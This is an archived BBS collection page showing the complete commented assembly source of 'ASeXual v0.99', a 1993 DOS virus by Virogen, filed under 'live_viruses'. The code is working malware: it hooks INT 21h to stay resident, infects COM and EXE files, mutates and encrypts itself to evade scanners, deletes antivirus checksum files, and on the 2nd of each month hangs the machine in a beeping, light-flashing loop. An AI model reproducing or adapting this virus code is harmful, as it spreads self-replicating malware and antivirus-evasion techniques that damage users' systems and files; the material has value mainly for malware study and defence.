home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / asexual.asm < prev    next >
Assembly Source File  |  1993-10-12  |  37KB  |  863 lines

  1. ;────────────────────────────────────────────────────────────────────────────
  2. ; ************************************************
  3. ;     ASeXuAl v0.99 - BY VIROGEN - 10-12-93
  4. ; ************************************************
  5. ;  - Compatible with : TASM /m2
  6. ;
  7. ;   This virus is actually the continuance of the Offspring line of virii..
  8. ;   BUT I decided to change the name because 98% of the virus code has
  9. ;   changed since the released of the first Offspring virus, and I felt
  10. ;   this release had substantial changes that finally merit a new name!
  11. ;
  12. ;        ASeXual v0.99
  13. ;     ──────────────────────
  14. ;
  15. ;  TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
  16. ;
  17. ;  characteristics:
  18. ;    This virus is a memory resident parastic COM infector and spawning
  19. ;   EXE infector. It is mutative.. with only 2 bytes remain constant
  20. ;   in replicated copies, but none in constant relative locations to the start
  21. ;   of viral code or to each other. It infects up to 5 files in the
  22. ;   current directory which a program is executed or a new drive is selected.
  23. ;   It first searches out EXE hosts, and if there are none to be infected,
  24. ;   it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files
  25. ;   in the current directory are killed before any file is infected.   This
  26. ;   virus is also kept encrypted in memory to prevent easy detection of it
  27. ;   there too.     It's code is stored just below the 640k boundary.
  28. ;
  29. ;  activation:
  30. ;   This is a non-malicious virus and it's activation is simple.. On the
  31. ;   2nd of any month, when an infected program is executed it displays :
  32. ;    "ASeXual virus v0.99 - Your computer has been artificially Phucked!"
  33. ;   .. while beeping and flashing the keyboard lights as well as attempting
  34. ;   print screens.
  35. ;
  36. ;   Do whatever you want with this virus.. but don't take my name off
  37. ;   the code. .. oh yea.. and don't hold me responsible if you infect
  38. ;   yourself, or someone else.  It's not my problem.
  39. ;
  40.             title   ASeXual v0.99
  41. cseg        segment
  42.         assume  cs: cseg, ds: cseg, ss: cseg, es: cseg
  43.  
  44. ;──────────────────────────────────────────────────────────────────────
  45. ; equates
  46. ;─────────────────────────────────────────────────────────────────────
  47.  
  48. signal      equ     7fh                     ; Installation check
  49. reply       equ     0fah                    ; reply to check
  50.  
  51. max_inf     equ     05                      ; Maximum files to infect per run
  52. max_rotation equ    9                       ; number of bytes in switch byte table
  53. parastic    equ        01                ; Parastic infection
  54. spawn        equ        00                ; Spawning infection
  55.  
  56.         org        100h            ; Leave room for PSP
  57.  
  58. start:
  59. ;───────────────────────────────────────────────────────────────────────
  60. ; Encryption/Decryption routine location
  61. ;──────────────────────────────────────────────────────────────────────
  62. fill_space :
  63. shit_space    db          6  dup(0)         ; help to keep TBAV warnings down
  64. address_fill: jmp         non_res           ; only in original compilation
  65.               db          17 dup(0)         ; MOV DI|SI placed here
  66. encrypt:                                    ; For call from memory
  67. cx_fill       db           20 dup(0)        ; MOV CX,XXXX placed here
  68. xor_inc_space db          100 dup(0)        ; XOR and INC DI|SI(2) placed here
  69. loop_fill     db           10 dup(0)        ; LOOP Placed Here
  70. enc_data:
  71. ret_byte      dw           9090h            ; Changes to RET (0C3h) - then back to NOP
  72.  
  73. jmp           non_res                        ; jump to nonresident code
  74.  
  75. ;───────────────────────────────────────────────────────────────────────
  76. ; INT 21h - DOS function calls
  77. ;───────────────────────────────────────────────────────────────────────
  78.  
  79. new21        proc                    ; New INT 21H handler
  80.  
  81.         cmp        ah, signal            ; signaling us?
  82.             jne     no                      ; nope..
  83.         mov        ah,reply            ; yep, give our offspring what he wants
  84.             jmp     end_21                  ; end our involvment
  85.  no:
  86.             cmp     ah,0Eh                  ; select disk?
  87.             je      run_res                 ; yes.. let's infect
  88.             cmp     ax,4b00h                ; exec func?
  89.             jne     end_21                  ; nope.. don't infect shit
  90.  
  91.  exec_func:
  92.             cmp     ch,0FBh                 ; Is our virus executing this prog?
  93.             je      end_21                  ; yes, return to orginal INT 21h
  94.  run_res:
  95.             pushf                           ; Push flags
  96.             push    ax                      ; Push regs
  97.         push    bx
  98.         push    cx
  99.         push    dx
  100.         push    di
  101.             push    si
  102.             push    bp
  103.         push    ds
  104.         push    es
  105.         push    sp
  106.         push    ss
  107.  
  108.             push    cs                      ; ds=cs
  109.         pop        ds
  110.  
  111.             mov     ah,2fh                  ; Get DTA Address
  112.             int     21h                     ;
  113.  
  114.             mov     ax,es                   ; Save it so we can restore it
  115.             mov     word ptr old_dta,bx
  116.             mov     word ptr old_dta+2,ax
  117.             push    cs                      ; es=cs
  118.             pop     es
  119.  
  120.             call    encrypt_mem             ; decrypt virus in memory
  121.             call    resident                ; Call infection kernal
  122.             call    encrypt_mem             ; encrypt virus in memory
  123.  
  124.             mov     dx,word ptr old_dta     ; restore DTA
  125.             mov     ax,word ptr old_dta+2   ;
  126.             mov     ds,ax                   ;
  127.             mov     ah,1ah                  ;
  128.             int     21h                     ;
  129.  
  130.             pop     ss                      ; Pop regs
  131.         pop        sp
  132.         pop        es
  133.         pop        ds
  134.         pop        bp
  135.             pop     si
  136.             pop     di
  137.         pop        dx
  138.         pop        cx
  139.         pop        bx
  140.         pop        ax
  141.             popf                            ; Pop flags
  142.  end_21  :
  143.         db        0eah            ; jump to original int 21h
  144. old21_ofs   dw        0                ; Offset of old INT 21H
  145. old21_seg   dw        0                ; Seg of old INT 21h
  146. new21       endp                            ; End of handler
  147.  
  148. ;───────────────────────────────────────────────────────────────────────
  149. ; Encrypt/Decrypt - For memory encryption
  150. ;───────────────────────────────────────────────────────────────────────
  151. encrypt_mem proc
  152.          lea    di,memory_encrypted
  153.          mov    cx,(offset vend-offset memory_encrypted)/2
  154.        mem_xor_loop:
  155.          db     81h,35h                    ; XOR word ptr [DI],
  156.          xor_mem dw 0                      ; XXXX : 0-5999
  157.          inc    di                         ; increment pointer
  158.          inc    di                         ; increment pointer
  159.         loop    mem_xor_loop               ; loop..
  160.         ret                                ; return
  161. encrypt_mem  endp
  162. memory_encrypted:                       ; start encryption in memory here..
  163. ;───────────────────────────────────────────────────────────────────────
  164. ; INT 24h - Critical Error Handler
  165. ;───────────────────────────────────────────────────────────────────────
  166. eh        proc
  167.           mov al,3              ; fail call
  168.           iret                  ; interrupt return
  169. eh        endp
  170. ;───────────────────────────────────────────────────────────────────────
  171. ; Clear ff/fn buf
  172. ;───────────────────────────────────────────────────────────────────────
  173. clear_buf   proc
  174.             mov     word ptr fcb,0         ; Clear ff/fn buffer
  175.             lea     si, fcb
  176.             lea     di, fcb+2
  177.             mov     cx, 22
  178.             cld
  179.             rep     movsw
  180.             ret
  181. clear_buf   endp
  182. ;───────────────────────────────────────────────────────────────────────
  183. ; Findfirst
  184. ;───────────────────────────────────────────────────────────────────────
  185. ff_func     proc
  186.  
  187.             call    clear_buf            ; Clear FCB
  188.  
  189.             mov     ah, 4eh              ; Findfirst
  190.             xor     cx, cx               ; Set normal file attribute search
  191.             mov     dx, fname_off
  192.             int     21h
  193.  
  194.             ret
  195. ff_func     endp
  196. ;───────────────────────────────────────────────────────────────────────
  197. ; Findnext
  198. ;───────────────────────────────────────────────────────────────────────
  199. fn_func     proc
  200.  
  201.             mov     ah,4fh          ; find next file
  202.             int     21h             ;
  203.  
  204.             ret
  205. fn_func     endp
  206. ;───────────────────────────────────────────────────────────────────────
  207. ; Fills encryption/decryption routine
  208. ;
  209. ; call with DX=word to fill with
  210. ;───────────────────────────────────────────────────────────────────────
  211. clear_encryptor proc
  212.  
  213.             mov     cx,78                 ; 156 bytes
  214.             lea     si,fill_space         ; beginning of null space
  215.  fill_loop:
  216.             mov     [si],dx               ; fill null bytes with same op
  217.             inc     si                    ;
  218.             inc     si                    ;
  219.             loop fill_loop                ;
  220.  
  221.         ret
  222. clear_encryptor endp
  223. ;───────────────────────────────────────────────────────────────────────
  224. ; Resident - This is called from our INT 21h handler
  225. ;───────────────────────────────────────────────────────────────────────
  226. resident    proc
  227.  
  228.             xor     ax,ax                       ; es=segment 0
  229.             mov     es,ax                       ; ..
  230.             mov     ax,es:[24h*4+2]             ; get segment of INT 24h
  231.             mov     bx,es:[24h*4]               ; get offset of INT 24h
  232.             mov     old_eh_seg,ax               ; save segment
  233.             mov     old_eh_off,bx               ; save offset
  234.             cli                                 ; turn off interrupts
  235.             mov     es:[24h*4+2],ds             ; set segment to our handler
  236.             lea     ax,eh                       ;
  237.             mov     es:[24h*4],ax               ; set offset to our handler
  238.             sti
  239.  
  240.             push ds                             ; es=ds
  241.             pop  es
  242.  
  243.                                                 ; Set DTA address - This is for the
  244.             mov     ah, 1ah                     ; findfirst/findnext functions
  245.             lea     dx, fcb
  246.             int     21h
  247.  
  248.             mov     byte ptr vtype,spawn       ; infection type = spawning
  249.             mov     word ptr set_bp,0000       ; BP=0000 on load
  250.             mov     byte ptr inf_count,0       ; null infection count
  251.             mov     fname_off, offset spec ; Set search for CHKLIST.*
  252.             mov     word ptr mov_di,offset enc_data   ; offset past encrypt.
  253.  
  254.  cont_res:
  255. ;───────────────────────────────────────────────────────────────────────
  256. ; KIll chklist.* (MSAV,CPAV) and anti-vir.* (TBAV) files
  257. ;───────────────────────────────────────────────────────────────────────
  258.             xor     cx,cx                ; keep track of which we've killed
  259.  kill_another_spec:
  260.             push    cx
  261.  
  262.             call    ff_func             ; find first
  263.  
  264.             jc      done_kill           ; none found.. done
  265.  kill_loop:
  266.             mov     ax,4301h            ; Set file attributes to null
  267.             xor     cx,cx               ;
  268.             lea     dx,f_name           ;
  269.             int     21h                 ;
  270.  
  271.             mov     ah,3ch              ; create file = nullify size
  272.             xor     cx,cx               ;
  273.             lea     dx,f_name           ;
  274.             int     21h                 ;
  275.             push    ax                  ; get handle
  276.             pop     bx                  ;
  277.  
  278.             mov     ah,3eh              ; close file
  279.             int     21h                 ;
  280.  
  281.             mov     ah,41h              ; delete the file to finish 'er off
  282.             lea     dx,f_name           ;
  283.             int     21h                 ;
  284.             call fn_func
  285.             jnc     kill_loop          ; if more then kill 'em
  286.  
  287.  done_kill:
  288.              pop   cx                   ; restore spec counter
  289.              inc   cx                   ; increment spec counter
  290.              mov   fname_off,offset spec2 ; new file spec to kill
  291.              cmp   cx,2                 ; have we already killed both?
  292.              jne   kill_another_spec    ; nope.. kell 'em
  293.  
  294.             mov     fname_off,offset fname1
  295.  find_first:
  296.             call    ff_func              ; findfirst
  297.  
  298.             jnc     next_loop            ; if still finding files then loop
  299.             jmp     exit                 ; if not.. then end this infection
  300.  next_loop :
  301.             cmp     byte ptr vtype, parastic ; parastic infection?
  302.             je      start_inf                ; yes, skip all this
  303.  
  304.             mov     ah,47h                   ; get directory for
  305.             xor     dl,dl                    ; ..spawning infections
  306.             lea     si,file_dir              ;
  307.             int     21h                      ;
  308.  
  309.            cmp     word ptr f_sizel,0 ; Make sure file isn't 64k+
  310.            je      ok_find                   ; for spawning infections
  311.            jmp     find_file
  312.  
  313.  ok_find:
  314.             xor     bx,bx                    ;
  315.             lm3     :                        ; find end of directory name
  316.             inc     bx                       ;
  317.         cmp        file_dir[bx],0
  318.         jne        lm3
  319.  
  320.         mov        file_dir[bx],'\'        ; append backslash to path
  321.         inc        bx
  322.  
  323.         mov        cx,13            ; append filename to path
  324.             lea     si,f_name
  325.         lea        di,file_dir[bx]
  326.         cld
  327.         rep        movsb
  328.  
  329.             xor     bx,bx
  330.  loop_me:                                   ; search for filename ext.
  331.         inc        bx
  332.             cmp     byte ptr fcb+1eh [bx], '.'
  333.         jne        loop_me
  334.  
  335.         inc        bx                ; change it to COM
  336.             mov     word ptr fcb+1eh [bx],'OC'
  337.             mov     byte ptr fcb+1eh [bx+2],'M'
  338.  start_inf:
  339. ;───────────────────────────────────────────────────────────────────────
  340. ; Change jump & fill space register
  341. ;───────────────────────────────────────────────────────────────────────
  342.  
  343.             cmp     byte ptr new_code, 0BFh
  344.             jne     inc_both
  345.             mov     nop_sub, 3fh
  346.             mov     byte ptr new_code, 0B7h
  347.             mov     byte ptr push_reg, 4Fh
  348. inc_both:
  349.             inc     nop_sub                ; increment register
  350.             inc     byte ptr new_code      ; increment register
  351.             inc     byte ptr push_reg      ; increment register
  352.  
  353.             cmp     nop_sub, 044h         ; don't use SP
  354.             je      inc_both
  355. done_change_jmp:
  356.  
  357.             cmp     byte ptr vtype, parastic ; parastic infection?
  358.         je        parastic_inf        ; yes.. so jump
  359.  
  360. ;───────────────────────────────────────────────────────────────────────
  361. ; Spawning infection
  362. ;───────────────────────────────────────────────────────────────────────
  363.  
  364.             mov     word ptr new_code+1,offset fill_space
  365.  
  366.             lea     dx,f_name
  367.             mov     cx, 02h              ; read-only
  368.             or      cx, 01h              ; hidden
  369.             mov     ah, 3ch              ; Create file
  370.             int     21h                  ; Call INT 21H
  371.             jnc     contin               ; If Error-probably already infected
  372.             jmp     no_infect
  373.  contin:
  374.         inc        inf_count
  375.         mov        bx,ax
  376.  
  377.         jmp        encrypt_ops
  378. ;───────────────────────────────────────────────────────────────────────
  379. ; Parastic infection
  380. ;───────────────────────────────────────────────────────────────────────
  381.  parastic_inf :
  382.  
  383.  
  384.             lea     si,f_name              ; Is Command.COM?
  385.         lea        di,com_name
  386.         mov        cx,11
  387.         cld
  388.         repe    cmpsb
  389.  
  390.             jne     cont_inf0              ; Yes, don't infect
  391.             jmp     no_infect
  392.  
  393.  cont_inf0:
  394.             mov     ax,3d02h               ; Open file for reading & writing
  395.             lea     dx,f_name              ; Filename in FF/FN buffer
  396.         int        21h
  397.  
  398.             jnc     cont_inf1              ; error, skip infection
  399.         jmp        no_infect
  400.  
  401.  cont_inf1:
  402.             mov     bx,ax                   ; get handle
  403.  
  404.             mov     ah,3fh                  ; Read first bytes of file
  405.             mov     cx,07
  406.             lea     dx,org_bytes
  407.             int     21h
  408.  
  409.             cmp     byte ptr org_bytes+4,0C3h ; already infected?
  410.             jne     cont_inf                ; nope let's infect this sucker
  411.  
  412.             mov     ah,3eh
  413.             int     21h
  414.             jmp     no_infect
  415.  
  416.  cont_inf:
  417.             inc     inf_count
  418.         mov        ax,4202h            ; Set pointer to end of file, so we
  419.         xor        cx,cx            ; can find the file size
  420.         xor        dx,dx
  421.         int        21h
  422.  
  423.         mov        word ptr set_bp,ax        ; Change the MOV BP inst.
  424.             add     ax, offset enc_data
  425.         mov        word ptr mov_di,ax        ; chg mov di,xxxx
  426.  
  427.             mov     ax,4200h                ; set file pointer to beginning
  428.         xor        cx,cx
  429.         xor        dx,dx
  430.         int        21h
  431.  
  432.             mov     ax,word ptr f_sizeh      ; save new address for parastic
  433.             add     ax,offset fill_space     ;
  434.             mov     word ptr new_code+1,ax   ;
  435.  
  436.             mov     ah,40h                   ; write new first 7 bytes
  437.             mov     cx,7                     ; .. jumps to virus code
  438.             lea     dx,new_code              ;
  439.             int     21h                      ;
  440.  
  441.             mov     ax,4202h                 ; Set file pointer to end of file
  442.             xor     cx,cx                    ;
  443.             xor     dx,dx                    ;
  444.         int        21h
  445.  
  446. ;───────────────────────────────────────────────────────────────────────
  447. ; Change encryptions ops
  448. ;───────────────────────────────────────────────────────────────────────
  449. encrypt_ops:
  450.             push    bx                      ; save file handle
  451.  
  452.             cmp     pad_bytes,100h          ; no more increase in file size?
  453.             je      reset_pad               ; if yes, reset
  454.         inc        word ptr pad_bytes        ; Increase file size
  455.             inc     word ptr b_wr           ; make note of the increase
  456.             jmp     pad_ok                  ; don't reset pad
  457.  reset_pad:
  458.             mov     word ptr pad_bytes,0    ; reset pad size
  459.             sub     word ptr b_wr,100h      ; make note of decrease
  460.  
  461.  pad_ok:
  462.  
  463.         cmp        inc_op,47h            ; change ops from DI to SI
  464.             jne     set2                    ; jmp-change ops to SI
  465.             dec     inc_op                  ; .. change code to use DI
  466.             dec     byte ptr xor_op+1       ;
  467.             dec     di_op                   ;
  468.             dec     byte ptr enc_addr       ;
  469.             dec     byte ptr enc_add+1      ;
  470.             jmp     chg_three               ;
  471.  set2:
  472.             inc     inc_op                  ; increment code to use SI
  473.             inc     byte ptr xor_op+1       ;
  474.             inc     di_op                   ;
  475.             inc     byte ptr enc_addr       ;
  476.             inc     byte ptr enc_add+1      ;
  477.  
  478.  chg_three:
  479.             mov     dh,byte ptr nop_sub   ; which byte did we use to fill space?
  480.             cmp     dh,48h                ; if INC AX then we need to reset it
  481.             jne     _change               ; else decrement it
  482.             mov     dh,40h                ; reset to DEC AX
  483.  _change:
  484.             cmp     dh,41h                ; Don't use INC CX..
  485.             jne     no_conflict           ;
  486.             mov     dh,48h                ; Change it to DEC AX instead
  487.  no_conflict:
  488.             cmp     dh,47h                ; Don't use INC DI
  489.             jne     no_conflict2          ;
  490.             mov     dh,4Bh                ; Use DEC BX Instead
  491.  no_conflict2:
  492.             cmp     dh,46h                ; Don't use INC SI
  493.             jne     no_conflict3
  494.             mov     dh,0FBh               ; Use STI instead
  495.  no_conflict3:
  496.             mov     dl,dh                 ; mov into word reg dx
  497.  
  498.             call    clear_encryptor       ; fill encryption routine with op
  499.  
  500.             mov     ah,inc_op             ; get register to increment
  501.             mov     bx,change_num         ; get current rotate count
  502.             cmp     bh,0                  ; are we at the end of the INCs?
  503.             jne     no_reset_change       ; nope.. continue
  504.             mov     bh,99                 ; reset INC #1 position
  505.             xor     bl,bl                 ; reset INC #2 position
  506.  no_reset_change:
  507.             inc     bl                    ; Increment INC #2 position
  508.             dec     bh                    ; Decrement INC #1 position
  509.             mov     cl,bl                 ; store position in CL to add
  510.             xor     ch,ch                 ; high byte = 0
  511.             lea     si,xor_inc_space      ;
  512.             push    si                    ; save address
  513.             push    si                    ; save it twice
  514.             add     si,cx                 ; add INC #2 position to SI
  515.             mov     byte ptr [si],ah      ; move INC #2 into address
  516.             pop     si                    ; restore address of fill_space
  517.             mov     cl,bh                 ; store position in CL to add
  518.             xor     ch,ch                 ; high byte = 0
  519.             add     si,cx                 ; add INC #1 position to SI
  520.             mov     byte ptr [si],ah      ; move INC #1 into address
  521.             mov     change_num,bx         ; store updated rotation number
  522.  
  523.             pop     si                    ; get xor_inc_space address
  524.             mov     ax,xor_pos            ; get old position of XOR
  525.             cmp     ax,95                 ; is it at the end of the buffer?
  526.             jne     xor_ok                ; nope.. increment its position
  527.             mov     ax,10                 ; reset position to buffer+10
  528.   xor_ok:
  529.             inc     ax                    ; increment position pointer
  530.             add     si,ax                 ; build pointer
  531.             mov     dx,word ptr xor_op    ; get XOR op
  532.             mov     [si],dx               ; place it into position
  533.             mov     xor_pos,ax            ; save new XOR location
  534.  
  535.             mov     ax,addr_pos           ; get old position of MOV DI|SI
  536.             cmp     ax,17                 ; at end of buffer?
  537.             jne     addr_inc              ; nope.. go increment
  538.             xor     ax,ax                 ; yes.. reset to null
  539.   addr_inc:
  540.             inc     ax                    ; increment pointer
  541.             lea     di,address_fill       ; get buffer address
  542.             add     di,ax                 ; build pointer
  543.             lea     si,di_op              ; get address of op
  544.             mov     cx,3                  ; 3 bytes
  545.             rep     movsb                 ; copy op to location in buffer
  546.             mov     addr_pos,ax           ; save new MOV DI|SI position
  547.  
  548.             mov     ax,cx_pos             ; get old position of MOV CX
  549.             cmp     ax,0                  ; back to beginning of buffer?
  550.             jne     cx_dec                ; nope.. decrement location
  551.             mov     ax,17                 ; reset to last position in buffer
  552.    cx_dec:
  553.             dec     ax                    ; decrement pointer
  554.             lea     di,cx_fill            ; get address of buffer
  555.             add     di,ax                 ; build pointer to new location
  556.             lea     si,cx_op              ; get address of MOV CX op
  557.             mov     cx,3                  ; 3 bytes length
  558.             rep     movsb                 ; copy to new location
  559.             mov     cx_pos,ax             ; save new position of MOV CX
  560.  
  561.             mov     ax,loop_pos           ; get old position of LOOP
  562.             cmp     ax,0                  ; at beginning of buffer?
  563.             jne     loop_inc              ; nope decrement
  564.             mov     ax,8                  ; reset to end of buffer
  565.    loop_inc:
  566.             dec     ax                    ; decrement pointer
  567.             lea     di,loop_fill          ; get address of buffer
  568.             add     di,ax                 ; build pointer
  569.             mov     dl,0E2h               ; 0E2XX=LOOP XXXX
  570.             xor     ch,ch                 ; high byte=null
  571.             mov     cl,9Ah                ; calculate LOOP offset
  572.             sub     cx,ax                 ;
  573.             mov     dh,cl                 ; save new offset
  574.             mov     [di],dx               ; write LOOP op
  575.             mov     loop_pos,ax           ; save new position of LOOP
  576.  
  577. ;───────────────────────────────────────────────────────────────────────
  578. ; Get random XOR number, save it, copy virus, encrypt code
  579. ;───────────────────────────────────────────────────────────────────────
  580.  d2:
  581.             mov     ah,2ch                  ;
  582.             int     21h                     ; Get random number from clock - sec/ms
  583.             lea     si,xor_inc_space+2      ; build pointer to XOR location+2
  584.             add     si,xor_pos              ;
  585.             mov     word ptr [si],dx        ; save encryption #
  586.             push    dx
  587.             mov     word ptr xor_mem,0000
  588.  
  589.             mov     si,0100h                ; 100h=start of virus in memory
  590.             lea     di,vend+50              ; destination
  591.         mov        cx,offset vend-100h        ; bytes to move
  592.         cld
  593.         rep        movsb            ; copy virus outside of code
  594.  
  595.             pop     dx
  596.             mov     word ptr xor_mem,dx
  597.  enc_addr:
  598.         mov        di,offset vend
  599.  enc_add:
  600.             add     di,offset enc_data-100h+50 ; offset of new copy of virus
  601.  go_enc:
  602.             mov     byte ptr ret_byte,0c3h  ; make encryption routine RET
  603.             call    encrypt                 ; encrypt new copy of virus
  604.             mov     byte ptr ret_byte,90h   ; Reset it to no RETurn
  605. ;───────────────────────────────────────────────────────────────────────
  606. ; Write and close new infected file
  607. ;───────────────────────────────────────────────────────────────────────
  608.         pop        bx
  609.         mov        cx, offset vend-100h    ; # of bytes to write
  610.         add        cx, pad_bytes
  611.             lea     dx, vend+50             ; Offset of buffer
  612.         mov        ah, 40h            ; -- our program in memory
  613.         int        21h                ; Call INT 21H function 40h
  614.  
  615.         mov        ax,5701h            ; Restore data/time
  616.             mov     cx,word ptr f_time      ; time from FCB
  617.             mov     dx,word ptr f_date      ; date from FCB
  618.         int        21h
  619.  
  620.  
  621.  close:
  622.             mov     ah, 3eh                 ; close file
  623.         int        21h
  624.  
  625.  no_infect:
  626.  find_file:
  627.  
  628.             cmp     inf_count, max_inf       ; Max files found?
  629.             je      exit                     ; yes, end infection
  630.             call    fn_func
  631.             jc      exit                     ; if no files found.. quit
  632.             jmp     next_loop                ; infect the next file
  633.  
  634.  exit    :
  635.             cmp     inf_count,0              ; Start parastic infection on next run
  636.             jne     find_done                ; nope.. we're done
  637.             cmp     byte ptr vtype, parastic ; Parastic infection done?
  638.             je      find_done                ; yep, exit already
  639.         mov        fname_off, offset fname2 ; Point to new filespec
  640.         mov        byte ptr vtype, parastic ; virus type = parastic
  641.             jmp     find_first               ; do it again for parastic
  642.  
  643.  
  644.  find_done:
  645.             xor    ax,ax
  646.             mov    es,ax                ; es = 0
  647.             cli                         ; interrupts off
  648.             mov     ax,old_eh_seg       ; get old int 24h segment
  649.             mov     bx,old_eh_off       ; get old int 24h offset
  650.             mov     es:[24h*4+2],ax     ; restore int 24h segment
  651.             mov     es:[24h*4],bx       ; restore int 24h offsetn
  652.             sti                         ; interrupts on
  653.             
  654.             xor     dx,dx               ; fill encryption routine with 0
  655.             call    clear_encryptor     ; .. maybe help lessen IDed in memory?
  656.  
  657.             ret                         ; return
  658. resident    endp
  659.  
  660. ;───────────────────────────────────────────────────────────────────────
  661. ;  Non-Resident portion of virus
  662. ;───────────────────────────────────────────────────────────────────────
  663. non_res        proc
  664.  
  665.             db      0bdh                    ; MOV BP,xxxx - Load delta offset
  666. set_bp:     dw      0000
  667.  
  668.             mov     ax,ds: 002ch            ; Get environment address
  669.             mov     par_blk[bp],ax          ; Save in parameter block for exec
  670.  
  671.             mov     par1[bp],cs             ; Save segments for spawn
  672.             mov     par2[bp],cs
  673.             mov     par_seg[bp],cs
  674.  
  675.             mov     ah,2ah                  ; Get date
  676.             int     21h
  677.  
  678.             cmp     dl,2                    ; 2nd?
  679.             jne     no_display              ; nope.. don't activate today
  680.  
  681.  show_myself:
  682.             mov     ah,09                   ; display virus name
  683.             lea     dx,v_id[bp]
  684.             int     21h
  685.  
  686.             xor     ax,ax                   ; seg 0
  687.             mov     es,ax
  688.             mov     dx,1010101010101010b    ; lights
  689.  chg_lights:                                ; Infinite loop to change keyboard
  690.             mov     word ptr es: [416h],dx  ; 0040:0016h = keyb flags
  691.             ror     dx,1                    ; rotate bits
  692.             mov     cx,0101h                ; scan code/ascii
  693.             mov     ah,05h                  ; push a beep onto keyb buf
  694.             int     16h
  695.             mov     ah,10h                  ; Read key back so we don't fill
  696.             int     16h                     ; up the keyboard buffer
  697.             int     5h                      ; Print-Screen
  698.             mov     ax,0a07h                ; Write BEEP to screen
  699.             xor     bh,bh
  700.             mov     cx,1
  701.             int     10h
  702.             mov     ah,86h                  ; Delay
  703.             mov     cx,0002h
  704.             int     15h
  705.  
  706.             jmp     chg_lights
  707.  
  708.  no_display:
  709. ;───────────────────────────────────────────────────────────────────────
  710. ; INSTALL - Install the virus in memory
  711. ;───────────────────────────────────────────────────────────────────────
  712.             mov     ah,signal              ; is virus already in mem?
  713.             int     21h
  714.             cmp     ah,reply               ;
  715.             jne     cont_i                 ; nope.. continue
  716.             jmp     no_install             ; yes.. don't install again
  717.  cont_i:
  718.  
  719.             mov     ax,cs
  720.             dec     ax
  721.             mov     ds,ax
  722.             cmp     byte ptr ds: [0],'Z'    ;Is this the last MCB in
  723.                                             ;the chain?
  724.             jne     no_install
  725.  cont_i2:
  726.  
  727.             mov     ax,ds: [3]              ;Block size in MCB
  728.             sub     ax,230                  ;Shrink Block Size-quick estimate
  729.             mov     ds: [3],ax
  730.  
  731.             mov     bx,ax
  732.             mov     ax,es
  733.             add     ax,bx
  734.             mov     es,ax                   ;Find high memory seg
  735.  
  736.             mov     si,bp
  737.             add     si,0100h
  738.             mov     cx,(offset vend - offset start)/2
  739.             mov     ax,ds
  740.             inc     ax
  741.             mov     ds,ax
  742.             mov     di,100h                 ; New location in high memory
  743.             cld
  744.             rep     movsw                   ; Copy virus to high memory
  745.  
  746.             push    es                      ; ds=es
  747.             pop     ds
  748.             xor     ax,ax
  749.             mov     es,ax                   ; null es
  750.             mov     ax,es: [21h*4+2]        ; store old int addresses
  751.             mov     bx,es: [21h*4]
  752.             mov     ds: old21_seg,ax
  753.             mov     ds: old21_ofs,bx
  754.  
  755.             cli                             ; disable interrrupts
  756.  
  757.             mov     es: [21h*4+2],ds        ; Set new addresses
  758.             lea     ax, new21
  759.             mov     es: [21h*4],ax
  760.  
  761.             sti                             ; re-enable interrupts
  762.  
  763.  no_install:
  764.             push    cs                      ; Restore segment regs
  765.             pop     ds
  766.             push    cs
  767.             pop     es
  768.  
  769.             cmp     byte ptr vtype[bp],parastic ; parastic infection?
  770.             je      com_return              ; yes, return to start of COM
  771.  
  772.             mov     bx,(offset vend+50)     ; Calculate memory needed
  773.             mov     cl,4                    ; divide by 16
  774.             shr     bx,cl
  775.             inc     bx
  776.             mov     ah,4ah
  777.             int     21h                     ; Release un-needed memory
  778.  
  779.             lea     dx,file_dir-1[bp]       ; Execute the original EXE
  780.             lea     bx,par_blk[bp]
  781.             mov     ch,0FBh                 ; tell mem. resident virus
  782.             mov     ax,4b00h                ; that it's us.
  783.             int     21h
  784.  
  785.             mov     ah,4ch                  ; Exit
  786.             int     21h
  787.  
  788.  com_return:
  789.  
  790.             mov     si,bp                   ;
  791.             mov     cx,7                    ; Restore original first
  792.             add     si,offset org_bytes     ; seven bytes of COM file
  793.             mov     di,0100h                ;
  794.             cld                             ;
  795.             rep     movsb                   ;
  796.  
  797.             mov     ax,0100h                ; Jump back to 100h - start of
  798.             push    ax                      ; original program
  799.             ret                             ;
  800.  
  801. non_res        endp
  802.  
  803. vtype        db        spawn            ; Infection type
  804. com_name    db        'COMMAND.COM'        ; obvious
  805. org_bytes   db      7 dup(0)                ; original first seven bytes of parastic inf.
  806. pad_bytes   dw      0                       ; Increase in virus size
  807. inc_op      db      47h                     ; INC DI (47h) or INC SI (46h)
  808. nop_sub     db      40h                     ; fill byte
  809. copyr       db      '(c)1993 - Virogen'     ; I must allow myself to be prosecuted
  810. v_id        db      0ah,0dh,'ASeXual Virus V0.99 - Your computer has been artificially Phucked!$'
  811. spec        db      'CHKLIST.*',0           ; MS/CPAV Checksom kill
  812. spec2       db      'ANTI-VIR.*',0          ; TBAV Checksum kill
  813. fname1      db      '*.EXE',0               ; Filespec
  814. fname2        db        '*.COM',0            ; Filespec
  815. change_num  dw      1030                    ; keep track of position of INC DI|SI
  816. addr_pos    dw      0                       ; relative location of MOV DI|SI
  817. cx_pos      dw      17                      ; relative location of MOV CX
  818. xor_pos     dw      10                      ; relative location of XOR
  819. loop_pos    dw      0                       ; relative location of LOOP
  820. xor_op      db      81h,35h                 ; XOR word ptr [DI|SI],XXXX
  821. di_op       db      0Bfh                    ; MOV DI|SI,
  822. mov_di      dw      0                       ;  XXXX
  823. cx_op       db      0b9h                    ; MOV CX
  824. b_wr        dw      (offset vend-offset enc_data)+2  ; don't divide this by two
  825. new_code    db      0B9h                    ; MOV NN,
  826.             dw      0000                    ;  XXXX
  827. push_reg    db      51h                     ; PUSH NN
  828.             db      0C3h                    ; RET - jump to NN
  829. times_inc   db      0                       ; # of times encryption call incremented
  830. sl        db        '\'                ; Backslash for directory name
  831. file_dir    db        64 dup(0)            ; directory of file we infected
  832. file_name   db        13 dup(0)            ; filename of file we infected
  833.  
  834. par_blk        dw        0                ; command line count byte   -psp
  835. par_cmd        dw        0080h            ; Point to the command line -psp
  836. par_seg        dw        0                ; seg
  837.         dw        05ch            ; Use default FCB's in psp to save space
  838. par1        dw        0                ;        
  839.         dw        06ch            ; FCB #2
  840. par2        dw        0                ;
  841.  
  842. vend:                                       ; End of virus
  843.  
  844. ;─────────────────────────────
  845. ; heap - not written to disk
  846. ;─────────────────────────────
